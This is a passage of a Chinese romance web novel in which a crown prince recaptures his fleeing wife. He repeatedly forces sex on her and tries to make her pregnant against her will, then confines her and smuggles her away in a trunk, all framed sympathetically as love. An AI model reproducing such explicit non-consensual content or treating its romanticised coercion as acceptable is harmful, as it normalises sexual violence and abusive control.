云窈看向齐拂己,却发现他笑不似笑,眉眼弯着嘴却渐渐撇下,仿佛溢着浓浓的失望,那眼神,好像受伤的是他自己。 齐拂己难受的要命,早觉察出端倪,一面放任,甚至促成她的行动,一面却又不住地在每一步期望是自己想错了,期望她没有骗他。 他被她耍得团团转,自己对她的那些好,那些诚挚如少年的表白变得极其滑稽和屈辱,齐拂己眼尾泛红,狠狠滑动喉头。 他一定要好好惩罚这个女人。 正想着,却见云窈眼角无声渗出一滴泪。 两滴、三滴,转眼淌成了线。 齐拂己一阵焦躁,又来了,就是这份眉眼氤氲,让他心发软、发疼,他知道自己很快会变得下不去手。 齐拂己站起,恼怒地踢了一脚凳子,随后一阵风挟起云窈,冲出门外,打马而去。 落玉还等在外面,见这架势先愣后追:“殿下、殿下你要带我们家小姐去哪啊!” 齐拂己带着云窈上马,把她横放在马背上:“驾!” 什么我家小姐,他恨恨地心想,她现在只有一个称呼,就是他的太子妃。 第45章 第四十五章 狠狠罚她 这会行人比刚天亮那阵子多,云窈哭闹踢打,引来不少目光,齐拂己干脆点了她的哑穴和定穴。 一鼓作气跑马还回魏国公府,马上石阶,跃过门槛。 “殿下!” “殿下!” 仆从俱惊,却不敢拦。齐拂己一人一马,遇阶既跃,遇弯陡转,他怕云窈跌下马去,紧紧箍着,又怕她折腰,俯下身托着,自己却越跑越憋屈,怎么到了这个时候,还在将就这没良心的小女子,以她为首要。 他打定主意,待会到了木樨小筑,一定把她摔床上,让她晓得痛。 晓得他有多痛。 可等到打横抱进屋,齐拂己突然又舍不得了,嫌床硬,嫌平时不觉得的床头棱角锋利,在他眼里突然变得利刃一般,他托着云窈后脑勺,轻轻将她放回床上。 他心头发酸,希望她能晓得他的好。 抬手点四、五下,就解了云窈穴道。 云窈旋即踢腿骂人:“你有本事点一辈子穴!” 齐拂己眼眶微湿,笑出一声,还盼她晓得他的好?她不会的,兔子只会咬人。 “要么堵我一辈子嘴,不然总有一天让天下人晓得你强抢民女!”云窈也不知哪来的勇气,边哭边斥。 民女? 齐拂己气极反笑,提醒她:“你是孤正儿八经拜了堂,娶过门的娘子……”他上前捉住她的脚踝,字亦咬重,“太子妃。” 云窈不假思索踢了一脚,力道不重,但恰巧踢在他胸口,齐拂己顿时觉得心疼加重,几近窒息。 好、好,他咧嘴无声地笑,松开她,扭头望向妆台,那里一顺摆着一整套头面,都是昨晚睡前摘下的,她一样也没带走。 她真就毫无留恋?昨晚的情事里她有没有一丝,哪怕仅有一丝真正的欢愉? 齐拂己呢喃:“这是你的小筑,你跑什么呢?” “一想到你在这趁我睡着了,每天晚上做那种事我就觉得恶心!”云窈抓着衣裳怒斥,可她的嘶吼和她打人的力道一样孱弱,听起来还没有哭声大。 为什么跑?因为这里她待不下去,再也不想回来! 齐拂己耳中只钻进“恶心”二字,由耳一顺扎进心脏,心脏揪起、脑袋发晕,浑身滚烫。他扛起云窈就往外走,云窈捶他后背:“你又要带我去哪?放我下来!放下来你个禽兽!” 反正她捶得不疼,齐拂己任由她打,一路扛到琴堤边,云窈扫一眼:“你带我上堤做什么?” 齐拂己气得笑出一声,她还空眼观四路,耳听八方呢? 她就是这样逃的! 想到这他单手拉来一艘游湖扁舟,挟云窈上了船,才开始解纤绳。 “你做什么?”云窈边问边用余光往下望,船已离岸,周遭皆是水,实在被逼急只能跳湖。 齐拂己窥见那一点余光,心道江南人泅水厉害,她估计也不差,想从水陆逃。 云窈看齐拂己眼神,这人怕是又要和自己行欢好之事。 她想不动声色往船尾挪,齐拂己捉着她的手覆下来,云窈急忙哭大声:“别在这里,会被人瞧见!” 齐拂己却不由分说掀开她身上男袍,亦褪自己的。云窈不住挣扎,这回是真哭了:“求求你,别在这里,别在这……你堂堂太子,也不想被人瞧见吧?” 齐拂己一个挺入,鼻息粗重绵长,仿佛吁出淤堵胸腔那一口最大的浊气。 他俯身去吻云窈的泪,眼角、颊面上的皆吸进嘴里,口中一片咸腥。他喘出的粗气挠得云窈脸颊发痒:“告诉你一个更恶心的事,我早就想在这艘船上要了你。” 他一面动作一面闭起眼睛:“那日你来采莲,我就在水月庵中窥视……” 他记得她那天在船上小憩,后仰露出天鹅和仙鹤般修长的脖颈,那两团高耸曲致,一滴汗从她的幽深隐秘处倒滑过锁骨,到脖颈,再倒下巴。湖风掠过,将她衣领刮起,像个布口袋。 他隐在窗后的阴影里喉咙发紧,后来总常常忆起这一幕,手上攥着帕子越动越快。 齐拂己分唇低头,怔怔望着,此刻自己正滴下数滴汗,当中一滴竟真复原那日,顺着云窈的锁骨,脖颈,到下巴。 是圆梦了吗? 他无声喘气,视线上移,她的唇也跟那天一样肉生得刚刚好,红透欲滴,又因哭过咬过,现出数道勾人肆虐的齿印和红痕。 齐拂己胸脯缓慢起伏,慢得好像心跳也要停止,他突然加快,不管不顾,小船剧烈晃动,原本平静的湖面波涛涟涟。 畅快了吗? 满意了吗? 他觉得好像是的,但欢愉极其短暂,渐渐就只剩下疼,浑身都在疼,痛苦不堪。 “疼……”云窈呜咽中小声吐出一个字。 齐拂己心一紧,她也一样疼吗?她终于和他契合了感受? “磨得疼……”船板磨得云窈背疼。 齐拂己闻言将手垫在她背下,急速冲刺,最后尽数给她的那一霎,他忽然想:为什么两个人就不能好好过日子,天长地久? 齐拂己望着云窈,神色有些呆滞:“琴琴这名起来很好……水月寺那三晚,琴声的确动听。” 他不喜欢惜别那夜漫天的雨,和她的眼泪一样氤氲,但他喜欢她的琴音,伯牙子期,高山流水遇知音。 他记得白纱幂篱似烟如雾,盈盈朝他一拜。 齐拂己阖唇,陷入良久沉寂。 云窈原本在后半段就已瘫软,任他动作,闻言却在呆了一霎后突然出拳出腿,疯狂捶打齐拂己。 失声痛哭。 齐拂己身子一动不动,由着她发泄,云窈有两脚过于狠,踢到脸上,齐拂己没躲,被打得偏头,身子也晃了晃。 他突然想告诉她,从前他不是这样的,她中禁药夜夜娇那会,他急急将她的衣裳重盖住,一点没有动她。 倘若,能从那时重新来过…… 但齐拂己旋即想到云窈一直在想法设法避子,千般柔软又重化成钢筋铁骨,单手捉住云窈两手,再用膝盖压制两腿,不允她再踢打,他自个则狠狠一挺,重新堵住。 除了用披风将她垫高,再无旁的动作。 云窈疑惑:“你——” 将一个字,她就领悟了他的意图,话堵在嗓子里。 少顷,云窈分唇露齿:“我不会给你生孩子的,痴心做梦!” 齐拂己沉默着将她抱住,任她再怎么骂怎么表态,都只是沉默,一直抱紧不肯撒手。齐拂己的脑袋越过云窈肩膀,眼睛始终睁着,他想,原来真实的她是这样的,不是只会哭,娇花弱柳只是表面,她并不怯弱,会逃跑,甚至会动手,会骂人,倔强泼辣…… 可他还是好喜欢。 云窈也想,他怎么死猪不怕开水烫?此刻,兴许是她平生唯一一次做泼妇,却还是骂不动了,默默淌泪。 齐拂己扛云窈上船时,想的是舟上下来,仍不能饶她,要在这国公府十景一堤,琴堤水月,泉亭松韵,桃花残碣……屋里屋外,天地间都留下二人亲密无间的痕迹,现下却心情全无,帮她一件件穿衣,系带。这会舟已漂至湖心,齐拂己拾浆,缓缓往回划。 云窈在齐拂己身后坐着,视线定在他的后脑勺上。 她明明沉默一声不吭,齐拂己亦未回望,却边划边问:“怎么,想跳船?还是想找个石头将我脑瓜子砸烂?” 云窈依旧紧抿双唇,齐拂己也不再开口,只听得哗哗水声。 靠岸,齐拂己先牵起云窈的手,十指紧扣,而后才跨上码头,由不得云窈犹豫,就是一拽,将她带上岸。 他瞥她一眼,看样子还是不想跟他走。反正也抱习惯了,他顺手将人搂起,一路抱回木樨小筑。 云窈眺见那排桂花树就慌了,怎么又回来?她腿动手动,还没打到齐拂己,对上他的眼睛就滞住——从他眸中读不出欲望,他好像不是要做那种事。 齐拂己启唇:“我不动你。”他轻叹,“出门前总要先梳洗下吧?” 她现在一身男装,扎个揪,不知道的还以为他抱着个十来岁少年在怀里。 齐拂己将云窈放到妆凳上,她脚这才沾地。 他极其自然拿起象牙梳要为她梳妆,云窈忙道:“我自己来!” 原想简单绾个髻,但见桌上一套头面都是自己带出来的,怕不复原又惹齐拂己生气,遂照着出来赏花那日的发髻发原。那日的衣裙也都搭在架上,云窈眺一眼,转头看齐拂己:“你背过去。” 齐拂己旋即背身,没有一句多问。 云窈瞅他的背影,忍不住又想跑,却清楚这样莽撞的逃走,可能还没出小院就会被抓回来。 她抑下那股疯狂生长的逃跑欲望,换好衣裙,小声道:“好了。” 齐拂己转回身看向云窈,继而上下打量。 她和出来赏花那天一模一样,要是什么都没发生,真接上那天该多好。 云窈已经抬起头:“这次的事情是我自己主张,落玉是迫不得已,奉我命行事……” “怎么你要一人做事一人当?”齐拂己打断,垂眼,不动声色长吸口气。 云窈没回话,但是扬起下巴,直起脖子。 齐拂己注视她的脖颈,好,好,这是伸直了脖颈等他砍? 他可不想砍,他要用嘴对着她脖子上凸起那块骨头狠狠咬上一口,方能解半点恨。 云窈紧张得吞咽一口。 这一下把齐拂己气笑破功,舍不得罚她,连她的婢女都罚不了。他心里生出一股无力感,连摆手都没力气抬了:“孤才不会跟你们这些小女子计较。” 他朝门口走:“回宫。” 云窈不敢轻举妄动,乖乖跟随齐拂己回了东宫,齐拂己也留在寝殿,正准备更衣,小黄门门外禀报:“殿下,陛下找您议事。” 齐拂己看云窈一眼,没说什么,就这样去了,走到东宫门口又不忍心,吩咐大安把落玉找来,进殿陪云窈。 他自己到了圣人的御书房,将行完礼站起,圣人就问:“脸怎么了?” 被云窈踢的那脚开始渐渐青出来,齐拂己流利作答:“不小心磕到了。” 圣人听了,打心眼里不高兴,但仅剩这一个儿子,他还是隐去愠恼,耐心教导:“上兵伐谋,其次伐交,其次伐兵,其下攻城。饿她几十日,亦或者关个一年半载,再有精力,故意放跑几次捉回来,她就乖了。” “不行。”齐拂己旋即拒绝,他可以预见如果照圣人说的做了,云窈会变成什么样子。锋利的兔牙虽然时常咬伤他,但拔牙了那就不是兔子了。 兔牙、红眼、短尾都是兔子的灵魂。 圣人一笑而过:“好了不说这些了,姜慎如今过街老鼠,东躲西藏,有往蛮州逃窜迹象。” 圣人受应天命和前朝皇帝诏书继位,虽缜密安排,却仍有一两不服者,荆州刺史姜慎就是其一。 “朕打算派吴枕做主帅,你来督军,一道剿贼,”圣人身往后靠上龙椅,“意下如何啊?” 齐拂己神色如常拱手:“儿臣愿效全力,为父皇排忧解难!” 他回到东宫后,不用别人传,自个将要出征的事告诉云窈。 云窈眼珠旋即动了下,而后定住,恢复正常。 齐拂己清楚睹见,唇泛苦笑。 她肯定是想打探他哪日出征,又怕表露得太明显,其心昭彰。 齐拂己索性直接告知:“出征的日子还没定,应该就这三、四日内。” 说罢,他闭眼,食指拇指掐了下眉心。 她肯定不会说什么臣妾盼着殿下得胜过来,更不会祝他一路平安,她巴不得他死在战场上。 齐拂己抬眼笑看向云窈:“孤会带你一起去。” 云窈张目。 想了一会,硬着头皮出声:“我一介妇人,连骑马都不会,去了岂不给殿下,给大军添乱?若是因为我……” 若是因为她败了,岂不成千古罪人。 但未战先言败,亦是大罪,云窈不敢讲完后半句。 齐拂己早猜到她会如何拒绝,不急不慢回应:“放心,若败,我们正好同年同月同日死。” 他语气既温柔又坚定,看着她的眼神亦如此,俨若盟誓。 第46章 第四十六章 知音 云窈毛骨悚然。 这、就、是、个、疯、子! 她绝对绝对不要和他一道丧命! 但她又心生畏惧,怕直接拒绝,齐拂己会做出更疯狂的举动。 云窈低头沉默。 瞧着她的变化,齐拂己勾起唇角,心知肚明:她不愿意。 他抬手揽上云窈的腰,下巴贴上她后背肋骨,动作一如既往温柔,仿佛什么也不明白。 他的下巴缓缓挪上,在云窈肩上腻乎磨蹭了会,就散开金霞帐。云窈心道这人真是不分白天黑夜,她背过身,籍此做一点微弱抗争。 齐拂己并没有像往常那样将她扳正,迫使她面对面,他也在云窈身后侧躺,取发簪,解衣裙,帮她宽衣。 云窈听着窸窸窣窣的声音,索性两眼一闭。 齐拂己正准备抽掉她脖山系带,突然感受到云窈闭眼,动作一顿,接着,他收回手,径直埋入。 他把她的闭眼当作邀请,既已做好准备,那就不能让她久等。 云窈哪知道疯子会有这种想法,只觉背后一下一下,缓慢推进、重撞,颇折磨人。云窈眼闭得更紧,告诉自己总有结束的时候。 等他出征…… 齐拂己一面撞,一面看向云窈的背和后脑勺。青丝如瀑,往日他会喜欢盘弄这一头乌发,用指梳过,再指尖绕发,默默的,玩些只有自己知道的结发小把戏, 今日却没有这份心思,他始终凝视云窈后脑勺,不奢望她回吻,回应他,只期盼能得到一次回眸。 没有。 那便让她有。 他开始用指,用口,比起享受更像讨好服侍,祈求籍此获得她的奖赏和垂帘,他自己自然也有反应,可动作再激烈,心始终如冰封雪原下的河脉,连流淌也安静。 云窈终抑不住,轻吟一声,觉得难堪,却禁不住又是一声。 她发现自己失去了对身体的操控,迎来一阵强烈的颤抖,声切切,水潺潺,这反应越绵长云窈越觉得羞辱,每一刻都是凌迟,眶中热泪终未禁住,再次决堤。 她在迷离火热中全力保持一点冰冷心智,告诉自己身不由己,但心可以由己。 齐拂己瞧在眼里的却是:她分明快乐得哭了,为何不愿回头,将这份快乐同他分享? 他近日又看了些新的夫妻之道,悠悠慈母心,母难离子,兴许有一个孩子她会转变。 齐拂己想到这闭眼,迫使自己假象一些不曾体验过的主动,才能一泻千里。 而后,他将云窈扳正,照例拘住手脚,将她垫高。 力气悬殊,云窈挣扎不得,只能瞪他,过会又气得闭眼。无论她对不对视,齐拂己始终凝视她的脸,眸子幽黑,若古井无波。 良久,云窈感觉已经过去大半个时辰,撩起眼皮,连瞟他几眼:就这样一直拘着她,垫高,也不说多久,到底还多久? 齐拂己神色不改,依旧沉静。 云窈懒得问了,正好困意袭来,索性就这样入眠。 很快,沉沉睡去。 齐拂己眼皮颤动,眸光转了一下,这是她上榻以后最平和均匀的呼吸,他再等了会,确定云窈睡熟,方才盘膝,将她轻轻抱入怀中。 他低头瞧着她,渐渐自己眸子里的井水也变活,流动起来,温情脉脉。 翌日云窈醒来时,齐拂己已不在寝殿——昨日他还会在自己离开后,命人将落玉送进来,今日却没有,只云窈一个人。 桌上似乎放着早膳,云窈走近瞧清,讥笑一声,何止早膳呐,中午吃的肉菜米饭亦摆在桌上,用小炉子温着。 他这是拘禁了她! 但又马上要出征了,又能关到几时? 云窈坐下来用膳,吃饭的时候顺风顺气,不想别的,不和自己过不去。 吃完无事,实在不想回到床上,便想将这寝殿好好逛一逛,了解了解,日后遇着情况能因地制宜。 反正一没人管,二出不去,云窈就从门口开始,见着抽屉就拉开,遇着柜子就打开,博古架上的展品逐一转动,试试有无开关,连墙上的挂画也要拉开看看后头有没有暗格…… * 齐拂己天不亮就上朝,今日圣人下旨,着令齐拂己明日出征。 大军开拔前要先召集各部祭旗,鼓舞士气,还要清点收拾行装器械,不容错漏。时间紧迫,齐拂己同主帅通了气,主帅先行奔赴京郊大营,齐拂己回趟东宫,随后就至。 齐拂己回去后未即刻去寝殿见云窈,反而进入书房,关上门窗,确定隔墙无耳,听速喜汇报。 今日三事。 一则宫里将办春宴,上至皇后,下到各诰命夫人和贵女,皆会参加。 齐拂己叩指:“照例帮她拒了。” 之前的贵女聚会都没让云窈参加,如今她要随他离京,更不应该赴宴,以免节外生枝。 二说圣人登基后,齐氏姐妹皆封郡主,冯氏亦得诰命,昨日冯氏面圣,明说齐姝静也不小了,求圣人帮指个好人家。圣人一口应允,当即许配给侯丞相次子,散骑侯常侍,婚期定在明年三月。 齐拂己淡道:“还有什么事?” 他不关心齐姝静的婚事,那是李凝头疼的。 速喜拱手,再走近些,贴耳告诉齐拂己,圣人这月临幸了两位贵女,皆只十七、八岁,很是喜欢,似要册封。皇后知晓此事,暗地里给二女都下了绝子药。 “我离京后你留在宫中,照护母后,若父皇对她下狠手,东宫全力救应。” “遵命!” 速喜话音未落,齐拂己就起身,打开顶箱柜,取出一套内侍衣冠,尺寸皆照云窈身量裁剪。速喜会意,赶紧捧来个两手抱的檀木箱打开,齐拂己将衣冠放进箱中,关上,自带去寝殿。 殿门是从外反锁的,齐拂己脚步在阶上放慢,停驻。他问守在殿外的宫人:“太子妃有没有叩门喊要出来?” “回殿下,不曾有过。” 齐拂己继续驻了会,方才掏钥匙开锁,门将开一缝,尚未完全展开,齐拂己人没进去,就有一张帕子飘到他面前,应该是想往他脸上掷,但没投准,也可能是云窈力气太小,手帕太轻,落在齐拂己肩头,接着掉到地上。 是云窈从前遗失的那条手帕,因常洗变硬,且留着些洗不掉的,她已经能懂的痕迹。 显然她丢了多久,他就用了多久。云窈一想起刚翻出手帕时的难堪和作呕,就禁不住唾他:“恶心!” 她已经骂过多少句恶心了? 齐拂己可以暂时不在意,弯腰放下木箱,改拾手帕,问她:“方才砸偏了,要重砸吗?” 他也可以代她动手,以巾帕自覆颊面。 云窈胸脯剧烈起伏,这人简直不可理喻! 齐拂己等了一会,没有回应,便叠手帕打算收好。既然不愿重砸,那就表明她气消了,这条巾帕陪伴许久,他是长情的人,不会轻易弃置。 云窈眼睁睁看着齐拂己把她的手帕放到衣内胸口处,气得还想顺手操烛台砸,奈何烛台玉雕,她又舍不得暴殄天物。 齐拂己重端起木箱,放到桌上,打开:“把这个换上,随孤出宫。” 云窈往箱内瞅一眼,内侍的打扮,呵,这是打算带她出征呢? “你做梦!”她骂人骂得软绵绵,咬牙切齿在齐拂己眼里满是娇嗔。 他用一种复杂的目光看着她:“出京以后你也可以逃的,荆襄距此千里,路上大把机会。” “我要上告陛下,你带女子随军,扰乱军心!”云窈发现自己有时候怕他,一声不吭,有时却又什么都敢说。 呵——齐拂己轻笑一声:“知道为什么要带你走吗?” 他阖唇,沉默。 不就是要同生共死么?云窈垂手攥拳,那疯言疯语她可忘不掉。 “还不是为了你的一己私欲。”她埋下脑袋,小声嘀咕。 齐拂己俯视她的脑袋。 良久,直到想到书上说夫妻要求恩爱,必先推心置腹,方才开口:“因为单独留你在宫里,父皇会杀了你。” 可眼前的女人永远把好心当作驴肝肺。 齐拂己想到这,眸中闪现几丝委屈和悲哀,他阖眼再睁开,恢复幽静。 云窈第一反应是不信,陛下仁德,怎会……话将到喉管,陡然止住,想起所谓的天子仁圣之主,都是从小到大受的教导,书里和官府都说“皇帝盛明,天下安乐”,于是她们满脑子里也是忠君崇君,觉得天家个个都是金身,见着就虔诚跪拜。 不论先帝,只说当今圣人,是“禅让”继位,那又仁圣在哪里呢? 再想到齐拂己这种人将来也会登上皇位,就愈发看破金身。 齐拂己见云窈沉默不语,以为她还不信,不由噙笑:“他就算不杀你,也会折磨你,把你关进水牢,暗无天日,只能听见老鼠吱吱,再过几日,老鼠都听不见了。亦或蒙起眼,往你头上浇水,一直淋,吞进嘴里肚子就鼓起来,茫茫未知。哪有我这么好,关你还给你提前备好一日三餐,到时候比柴房还窄的屋子,还想翻箱倒柜?就枯坐着,饿个十天半月,亦或鞭笞,直抽到你求饶为止。” 齐拂己笑越漾越高,稍微侧身,抵在桌沿上:“到时候等我回来,你如果没死,肯定会变得十分乖巧,主动去门口迎我,亲自下厨做一桌接风宴,说不定……”他顿了顿,“还会在我面前宽衣解带,主动求欢。” 最后一句令云窈面上燥热,愠斥:“无耻!” 但转念却想,不对啊,齐拂己字字句句不正是他所期待? 不是,不是他的期待……他说的是从前的自己! 云窈猛抬头看向齐拂己,眸中流光,继而意识到不对、不妥,头重低下。 可齐拂己却看见了,仅仅几刹对视,他就从中捕捉到了震惊和理解,她懂了,她晓得他是自述。 从小父亲待二弟宽厚,待他却严厉,但凡做错了事,亦或没达到期望,父亲就会找借口带齐拂己出去住段日子,如此责罚,回家前会先给他疗伤,回去没有伤口,同母亲诉苦母亲不信,给二弟说过一回,二弟笑他梦尚未醒。 多年心如灰寂灭,唯佛灯燃。 现在有云窈懂他了! 只有她懂他。 他没看走眼,没爱错人。 齐拂己眼眶不受控温润,喉头滑动,且他明明在云窈抬头的第一眼里,瞧见了怜悯,她也情不自禁的,为什么要掩藏,为什么要压抑、躲避? 她明明知道,他要什么,不会对她做什么,他待她与别人不同。 齐拂己突然快步走近云窈,云窈尚来不及反应,就被他大力拥入怀中。 齐拂己的下巴在云窈肩上蹭了一下,而后就什么也不做了,安静抱紧,良久不松开。 第47章 第四十七章 剖心 他突然莫名多了几分自信,脱口而出:“跟我走吧。” 他把心都剖给她看了。 云窈沉默须臾,重抬起头,成亲以来头回平心静气同他商量:“你放我走吧,我回杭州去。” 还是不答应么?齐拂己心直直往下坠,继而分开云窈,在她身上点了记下,雷厉风行。 云窈来不及反应就再一次被封住哑穴和定穴。 齐拂己看着她,他考虑过是趁天黑晚上再将她运出宫,还是此刻带走。晚上他不在宫里了,交给他人办,他不放心。 他先蹲下来,还是非要给云窈换那身带来的内侍衣裳。 云窈被剥干净时脸红得厉害,齐拂己面色平静:“你有哪一处我没看过。” 她眼珠能动,转过去瞪他一眼,能不能别说出来? 齐拂己却像是一点不觉臊的,利落穿戴后,接着竟倒腾出一口装行李的皮箱子,将她装进去。云窈虽然身不能动,口不能言,但脑子清醒,看他蹲下来在箱子上留气孔,简直气笑。 齐拂己前头打马,后头车托箱子,就这样将云窈运走。 云窈躺在箱子里,能感觉到一直在往前走,不知多久,陡然停了。 “儿臣叩见父皇。” 哦,原来是遇到圣驾,被拦下了。 云窈挪眼,极艰难瞅到一点气孔,孔外一色灰的蓝的袍子,和她现在身上穿的一眼。云窈再往高处眺,才窥得一角明黄。 昔日魏国公,如今圣人的声音有两分耳熟:“怎么出征还带这么重的箱子,到时候跑得动马吗?” 云窈听见许多脚步朝箱子这边靠近,圣人再道:“行军之道,无绝人马之力。” “父皇谆谆教诲,儿臣铭记在心。”这句是齐拂己回的,但好像没什么效力,脚步继续这边挪,云窈能瞅见的明黄明显变大,变近,圣人要查箱子了么? 她屏住呼吸,脑中飞快思忖开箱后的对策,忽听一女声明朗且沉稳:“是臣妾给镜明准备的!” 云窈瞳孔放大:是汉阳公主!现在应该称呼皇后娘娘了! 皇后手放腰间,直脖挺背,不紧不慢走近,面朝圣人,挡住皮箱,云窈的视线即刻被凤袍遮蔽。 皇后徐徐道:“臣妾听说镜明要出征,就亲手缝了些衣物,给他带着。” 圣人心头一震,成亲二十余年,她只用“吾”,刚登基那会两人大吵一架,之后甚少言语,也没听过,眼下是头回听她自称“臣妾”。 他十分意外,心头亦是从未有过的舒畅。 皇后朝圣人躬身:“儿行千里母担忧,还望陛下能谅解臣妾这份忧思。” 圣人坐在銮驾上,看步行而来的皇后深深埋下腰,整个人完全低到他的銮驾下面,他想:早这么温顺,早就事事依她。 圣人遂决定睁一只眼闭一只眼,笑道:“这还真是‘慈母手中线,游子身上衣’了,太子呐,你可得记着你母后的好。” “父皇母后春晖寸草,儿臣定当孝思不匮。”齐拂己仍跪在地,拱手起誓,“此番讨逆定不负父皇所托,提剑汗马直取贼首!” 圣人又说了些戒骄戒躁,凡与敌战,须务持重的场面话,方才摆驾。 圣人一走,皇后目送片刻,而后转身,背道而驰。 云窈颇为吃惊:这就走了?散了? 她还以为皇后会私下和齐拂己再说一会话,毕竟刚才听出圣人不会管后,云窈就松懈下来,只想着箱有气孔,那一家三口聊多久都没事。 到京郊大营,进入自个帐中,齐拂己给云窈又换了套小兵衣裳,云窈真是服了,他怎么在这种事上极富耐心,正想着,听见齐拂己问:“怎么这回又不害臊了?” 他解开她的穴道,云窈坐起就要捶他。齐拂己将手捉住,淡问:“许久没吃喝了,饿吗?渴吗?” 云窈的确口里发干,沉默少顷:“我要喝水。” 齐拂己一笑,拿起方才从马鞍上解下的扁壶,拔塞交给云窈。 云窈咕噜咕噜一直喝。 “慢些,别噎着。”齐拂己温柔注视着她。 云窈不喝了,把壶还给齐拂己,又想从宫里来京郊营的这段时间里,齐拂己同样滴水未饮,一米未进,他渴吗饿吗? 云窈只想,不说,且偏过头去,她不会关心他。 齐拂己将云窈方才喝过的扁壶送至唇边,云窈急道:“这你喝过的壶?” 齐拂己扭头看她:“我用很多年了。” 他心头泛酸,晓得她在介意什么,却依旧替她遮掩,晓得:“我知道扁壶你喝不习惯,待会给你找个新葫芦。” 齐拂己也不出帐,等出去时就是和云窈一起,大军开拔,完全不给她逃跑机会。 路上放眼望去,一望无垠的葱绿,垂丝海棠正盛,绣球却百朵绿中只一点白,春光明媚。云窈没想到京郊的景色这样好,禁不住左右张望了几眼,又想,景色好兴许是因为在那那高高城墙外的原因。 齐拂己打马凑近,声音低得只有云窈能听见:“百花虽艳,但不能贻误军情。” 他想说现在不能赏花,但等天下太平带赏遍天下花,又想云窈肯定不期盼这,不由得心里酸溜溜的。 “怕贻误军情可以不带我走。”云窈现在在他面前也不称奴了。 齐拂己一愣,没想到自己说那样清楚,她还不愿意。 不带? 她不如直接说应该放她走。 齐拂己神色不变,唯独手上攥紧缰绳:“不带你,你怎么有机会见这大好河山?” 正好有牧民放山羊经过,齐拂己道:“这不见着羊了。” 云窈马上怀疑齐拂己这辈子有没有见过猪跑啊? 她没说话,就低了个头,齐拂己就再道:“我见过的。” 云窈低着脑袋扭脖子:“不知道你在说什么。” 大军行到夜里,依照主帅和齐拂己命令,就在野地里扎营,堆造做饭,不得扰民。 吃完云窈不得不跟随齐拂己进同一间帐篷,齐拂己变戏法似又拿出一套崭新的小兵衣裳给云窈:“这个换洗。” 云窈盯着放到自己膝上的衣裳,连皮靴子都新给一双,不由幽幽地想:他打哪弄来这么多合她尺寸的衣裳? 齐拂己见云窈不言,幽幽开口:“怎么,还要我帮你换?” 云窈抬头看他:“这些都是你自己准备的?” 齐拂己点头,俄顷,又别首:“你要是过意不去,可以亲手给我也裁件袍子。” 齐拂己说完,自己在心里默默接话:你做梦。 “做梦!” 云窈与他的默念同时出口,几一字不差,齐拂己禁不住笑起来。 算了,本来还想说她要是嫌裁衣太累,可以改缝个护膝护腕什么的,不用说了,讨不到的。 “皇后娘娘不是亲手给你做了一箱子衣裳吗?”云窈边说边将自己那套衣袍收进包袱里。帐中简陋,一张毯子,是床亦是坐席,原先只有云窈坐在毯上,齐拂己始终站着,眼下听见云窈这句话,方才在她身边盘膝而坐。 “你明知故问。”他回,想着云窈虽然嘴上多呛一句,却收下了他准备的衣裳。 自己也奇怪,竟一点气没有,还想同她解释,什么都告诉她,剖给她看。 正好帐外无人偷听,齐拂己道:“母后那是帮我解围。她虽然气我助父皇,取了她家江山,但我到底是她唯一的儿子。” 云窈猛地侧首,直直对视齐拂己:他疯了?怎么什么话都敢讲? 云窈不禁环视周遭,帐上没有人影,但依然不放心。 齐拂己微笑,她还是关心他的。 且是他真的剖心捧到她面前,齐拂己抬臂,绕过云窈后背搂上她另一侧的肩:“母后只能帮我,如果我废了,换任何一个人来坐她都会死,且她同父皇一道主持的先皇出殡,天下人都看着,已经说不清了。” 云窈心底嘀嘀咕咕:别跟她说这,别说这么多,她不想知道。 齐拂己却仍含笑续道:“母后焦忧得很,她得知父皇幸了两位比我年岁还小的美貌娘子,立马就给她们下了绝子药。” 云窈一怔:世上还有这种药?自己要是觅到,岂不一劳永逸? 又想,齐家人真个个都是疯子,唯一正常的也许只有齐拂意,却不在了…… 过会,思念又飘到齐拂己说的那俩少女身上,估计跟自己差不多年纪,被献给圣人,唉……谁喜欢比爹还大的啊! “在想什么?”齐拂己见她良久不言,出声询问。 云窈心道:这哪敢说。 齐拂己幽幽道:“我只比你年长四岁。” 云窈蹙眉,怎么被猜中了心思?! 齐拂己见着她眉头蹙起,不禁泛笑,他真的越来越懂她了,可能比她那个叫落玉的婢女还懂,世上活着的,没一个能比得上他知音。他甚至还能猜到她想偷母后的药,然后自欺欺人,避而不提这茬。 “你放心,我不会像父皇待母后那样待你,我此生都只会有你一个女人,我们的孩子无论几个,儿也好,女也罢,我都愿意为你们付出我的一切。” 所以她也要为他付出一切,只能有他一个男人,明白吗? 骤然的表白令云窈荒诞、震惊,毛骨悚然,一时竟不知如何应对,呆呆坐在原地,微分双唇,身若木雕。 半晌,没有得到回应的齐拂己起身吹灭油灯:“睡吧,行军不似宫里养尊处优,待会天不亮就要赶路。” 他回到毯上,扶着她缓缓躺下,而后手摸毡毯:“凉不凉?”有点担心云窈染上地面的寒气,“要不要再添一层?” 云窈仍处在愣怔中,直到齐拂己微微托起她的身子,给底下再垫一层他的袍子,云窈才摇头,后仰:“不用!” 她一退一躲,齐拂己就下意识将她往怀里一拉,她的脸颊即刻和他的胸膛轻碰到一起。齐拂己的呼吸渐渐粗重起来,云窈熟悉,接下来他又要动手动脚了……哪知齐拂己将她分开,重放回毯上,隔着一掌距离:“睡吧。” 话音将落,他突然又道:“算算日子你快来了,本该今晚要你,不然又得旱七、八日,但军营整肃,我不会在军帐里碰你。” 云窈的脸飞速发烫,讲这么清楚做什么?! 她想回军营整肃就别押她来啊,又想算了,呛了也无用,白费力气。云窈闭眼,睡觉! 她侧身背对齐拂己,齐拂己也侧身,对她后脑勺,不一会他的右胳膊就搭到云窈身上。 云窈甩了两下身子,甩不下去胳膊,齐拂己阖眼道:“说了不碰你。” “你这样我睡不着。” 须臾,齐拂己的手臂收回去。 又过了会,他往她那边再挪近些。 两人都渐渐睡沉。 第48章 第四十八章 七日(一) 齐拂己征讨的逆贼名唤姜慎,从前做荆州刺史,圣人登基后,姜慎亦唤齐氏父子为贼,揭竿造反,被官军围剿,大败,欲逃往古蛮州。 齐拂己的队伍开拔近蛮州,姜慎却又改道北上,逃窜岐凤。 过街老鼠,东躲西藏。 大军便也随之改道,看样子是不捉姜慎,誓不罢休。齐拂己走哪都带着云窈,诸将来帐中商量、禀报,云窈都不想听也听见。 她从不多嘴,眼观鼻鼻观心,但有时候禁不住感叹:有一说一,齐拂己还挺有大将风范的,吩咐布置,沉稳果决,有条不紊。 看起来一点也不疯。 